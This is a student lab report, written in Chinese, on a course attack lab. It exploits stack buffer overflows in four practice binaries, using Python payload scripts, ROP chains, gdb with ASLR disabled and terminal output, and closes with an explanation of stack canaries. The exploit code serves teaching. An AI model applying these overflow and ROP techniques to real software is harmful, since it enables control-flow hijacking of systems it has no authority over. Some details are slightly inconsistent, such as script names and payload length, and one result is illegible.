

栈溢出攻击实验

题目解决思路

Problem 1:

- **分析:** 程序在 `func` 函数中使用 `strcpy` 将用户输入拷贝到栈上的局部缓冲区（大小 16 字节）中，而没有检查输入长度。

因此，当输入长度超过缓冲区时，可以覆盖栈上保存的 `rbp` 和返回地址。这是一个典型的 **栈溢出漏洞**。

通过分析反汇编可知，`func1` 函数包含目标输出 "Yes! I like ICS!"，所以我们可以通过覆盖返回地址跳转到 `func1` 来完成实验。

- **解决方案:** 构造 payload：在 x86-64 架构下，函数栈布局从低地址到高地址依次为：局部缓冲区 → 保存的 `rbp` → 返回地址。

通过计算栈帧偏移可以确定，当输入长度达到 **16 字节** 时，恰好可以覆盖局部缓冲区和保存的 `rbp`，再继续写入即可覆盖返回地址。

实验中已知 `func1` 函数中包含目标输出 "Yes! I like ICS!"，因此构造 payload 时，前 16 字节用于填充无关数据（padding），随后将返回地址覆盖为 `func1` 的入口地址。由于系统采用小端序存储方式，地址需要按小端格式写入。

当 `func` 函数返回时，程序不会回到原调用位置，而是跳转到 `func1` 执行，从而成功输出目标字符串，实现控制流劫持。

```
# ans1.py
padding = b"A" * 16 # 覆盖 buf + saved rbp
ret_addr = b"\x16\x12\x40\x00\x00\x00\x00" # func1 地址（小端序）

payload = padding + ret_addr

with open("ans1.txt", "wb") as f:
    f.write(payload)

print("ans1.txt generated")
```

运行 `python3 gen_ans1.py` 后得到 `ans1.txt` 文件，作为输入运行：

```
./problem1 ans1.txt
```

程序会输出目标字符串。

- **结果:**

```
wrx181818@WIN-20250825QXI:~/attack-lab-wrx123-dot-main/attack-lab-wrx123-dot-main$ python3 gen_ans1.py
ans1.txt generated
wrx181818@WIN-20250825QXI:~/attack-lab-wrx123-dot-main/attack-lab-wrx123-dot-main$ ls -l ans1.txt
-rw-r--r-- 1 wrx181818 wrx181818 24 Jan 14 11:34 ans1.txt
wrx181818@WIN-20250825QXI:~/attack-lab-wrx123-dot-main/attack-lab-wrx123-dot-main$ ./problem1 ans1.txt
Do you like ICS?
wrx181818@WIN-20250825QXI:~/attack-lab-wrx123-dot-main/attack-lab-wrx123-dot-main$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
wrx181818@WIN-20250825QXI:~/attack-lab-wrx123-dot-main/attack-lab-wrx123-dot-main$
```

Problem 2:

- **分析:** 在 Problem 2 中, 可以看到函数 `func` 在栈上仅分配了很小的局部缓冲区, 但使用 `memcpy` 输入中拷贝固定长度的数据, 导致存在栈缓冲区溢出漏洞。通过精确控制输入长度, 可以覆盖函数返回地址并劫持控制流。由于程序运行在 x86-64 架构下, 函数参数通过寄存器传递, 因此需要借助 ROP 技术, 利用 `pop rdi ; ret` gadget 将参数 `0x3f8` 传入寄存器 `RDI`, 再跳转执行 `func2`, 从而满足其判断条件并触发成功输出。

- **解决方案:**

由于程序运行在 **x86-64 架构** 下, 函数参数通过寄存器传递:

- 第一个参数存放在 **RDI** 寄存器中

因此, 不能像 32 位程序那样直接在栈上传参, 而是需要使用 **ROP gadget** 来控制寄存器。

1. 构造 ROP Gadget

使用 `objdump` 查找可用 gadget:

```
objdump -d ./problem2 | grep -A1 "pop *%rdi"
```

得到:

```
4012c7: pop %rdi
4012c8: ret
```

说明存在可用的 `pop rdi ; ret` gadget, 地址为:

```
0x4012c7
```

2. 确定目标函数地址

通过反汇编可知:

```
func2 = 0x401216
```

3. Payload 构造思路

Payload 布局如下:

```
[ padding (16 bytes) ]
[ pop rdi ; ret ]
[ 0x3f8 ]
[ func2 ]
```

含义为:

1. 覆盖栈缓冲区直到返回地址
2. 利用 `pop rdi ; ret` 将 `0x3f8` 放入 `RDI`
3. 跳转执行 `func2`

4. Payload 代码 (ans2.py)

```
from struct import pack

POP_RDI_RET = 0x4012c7
FUNC2       = 0x401216

payload = b"A" * 16
payload += pack("<Q", POP_RDI_RET)
payload += pack("<Q", 0x3f8)
payload += pack("<Q", FUNC2)

with open("ans2.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
wrx181818@WIN-20250825QXI:~/attack-lab-wrx123-dot-main/attack-lab-wrx123-dot-main$ objdump -d ./problem2 | grep -A1 "pop %rdi"
4012c7:    5f                pop     %rdi
4012c8:    c3               ret

wrx181818@WIN-20250825QXI:~/attack-lab-wrx123-dot-main/attack-lab-wrx123-dot-main$ python3 ans2.py
Payload written to ans2.txt

wrx181818@WIN-20250825QXI:~/attack-lab-wrx123-dot-main/attack-lab-wrx123-dot-main$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3:

- 分析: Problem 3 中存在一个典型的栈溢出漏洞: 程序在 `func()` 中使用 `memcpy` 将用户输入复制到长度有限的栈缓冲区中, 但未对输入长度进行严格检查, 从而允许覆盖返回地址。

与前几题不同的是, 本题对 **payload 的可用字节长度和栈地址变化更加敏感**。程序在函数入口处保存了当前的 `rsp`, 后续若 ROP 链未正确控制栈结构, 函数返回时容易发生段错误。此外, 在开启内核全局栈随机化 (ASLR) 的情况下, 栈地址在每次运行时都会发生变化, 导致直接利用不稳定。

因此, 本题选择在 **gdb 模式下运行程序**, 并关闭地址随机化, 以保证栈地址和函数地址稳定, 从而验证攻击思路的正确性。

- 解决方案:

调试环境设置

在 `gdb` 中关闭 ASLR:

```
(gdb) set disable-randomization on
(gdb) run ans3.txt
```

此时栈地址保持不变, 便于构造稳定 payload。

Payload 字节长度分析

通过调试可知:

- 栈缓冲区大小: `0x20` 字节
- 保存的 `rbp`: `8` 字节
- 覆盖返回地址所需填充长度: **`0x28` 字节**

因此 payload 前 0x28 字节用于填充，之后开始构造 ROP 链。

ROP 链构造思路

攻击目标是调用：

```
func1(114);
```

利用程序中已有函数：

- `mov_rdi(void *)`：设置函数参数
- `func1(int)`：输出 lucky number

ROP 调用顺序如下：

```
mov_rdi → 114 → func1
```

Payload 构造代码 (ans3.py)

```
from struct import pack

payload = b"A" * 0x28          # 填充 buf + saved rbp

mov_rdi = pack("<Q", 0x4012da) # mov_rdi(void *)
func1    = pack("<Q", 0x401216) # func1(int)

payload += mov_rdi
payload += pack("<Q", 114)     # 参数 114
payload += func1

with open("ans3.txt", "wb") as f:
    f.write(payload)

print("ans3.txt generated")
```

• 结果：

在 **gdb 模式下关闭 ASLR** 后运行程序：

```
(gdb) run ans3.txt
```

程序输出结果如下：

```
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
```

成功输出幸运数字 **114**，说明在受控环境下 payload 构造正确，攻击目标达成，Problem 3 通过。

Problem 4:

- **分析：**Problem 4 启用了 **Stack Canary (栈金丝雀)** 保护机制，用于防止栈溢出攻击覆盖返回地址。

其核心思想是：在函数栈帧中，**局部变量与返回地址之间插入一个随机值（canary）**，该值在函数进入时保存，在函数返回前进行校验。

- 如果程序执行过程中发生栈溢出，覆盖返回地址的同时**必然会破坏 canary**
- 在函数返回前，程序会比较当前栈中的 canary 与原始 canary
- 若不一致，程序会立即终止，攻击无法继续

在汇编层面，该机制通常体现为以下两个阶段：

1. 函数入口处保存 canary

```
mov    %fs:0x28, %rax
mov    %rax, -0x8(%rbp)
```

- `%fs:0x28` 中存放的是线程本地存储 (TLS) 里的 canary
- 将其保存到当前函数栈帧中

2. 函数返回前校验 canary

```
mov    -0x8(%rbp), %rax
sub    %fs:0x28, %rax
jne    __stack_chk_fail
```

- 若 canary 被破坏，则跳转到 `__stack_chk_fail`
- 程序直接异常终止，阻止控制流劫持

因此，在 Problem 4 中，栈溢出攻击在返回阶段必然触发 canary 校验失败。

- **解决方案：**本题不需要、也无法构造有效的 payload。原因在于程序启用了栈保护（Stack Canary）机制，canary 值在程序运行时随机生成，且程序中不存在任何信息泄露 canary 的途径，因此攻击者无法获取其正确值。任意试图通过栈溢出来覆盖返回地址的 payload 都会首先破坏栈上的 canary，在函数返回前触发 canary 检查失败，程序随即调用 `__stack_chk_fail` 并异常终止，使得控制流劫持无法发生。因此，本题不存在可行的 ROP 或溢出利用方式，也不需要编写 ans4.py，正确的解法是识别并说明 canary 保护机制及其在汇编代码中的体现。

- **结果:**

[illegible]

思考与总结

在本次 ICS Attack Lab 实验中，我通过对四个问题的探索，对栈溢出、字节长度控制、汇编分析以及栈保护机制有了更深入的理解。Problem 1 和 Problem 2 让我熟悉了如何构造 payload 并观察其对程序的影响，通过调试和实验，我学会了精确控制输入长度以触发溢出，同时理解了栈中各个变量和返回地址的布局。Problem 3 的难度在于栈地址和字节长度的动态变化，我通过 gdb 调试验证了 payload 的有效性，理解了关闭内核栈随机化对实验的影响以及如何获取特定输出“幸运数字114”。Problem 4 则强调了栈保护机制（Stack Canary）的重要性，我认识到在启用 canary 的情况下，任意覆盖返回地址的尝试都会在函数返回前被检测到并触发 `__stack_chk_fail`，这让控制流劫持变得不可行，从而无需构造 payload。本实验不仅加深了我对溢出攻击原理和汇编执行流程的理解，也让我认识到现代程序防护机制的重要性，为后续更高级的安全研究打下了坚实基础。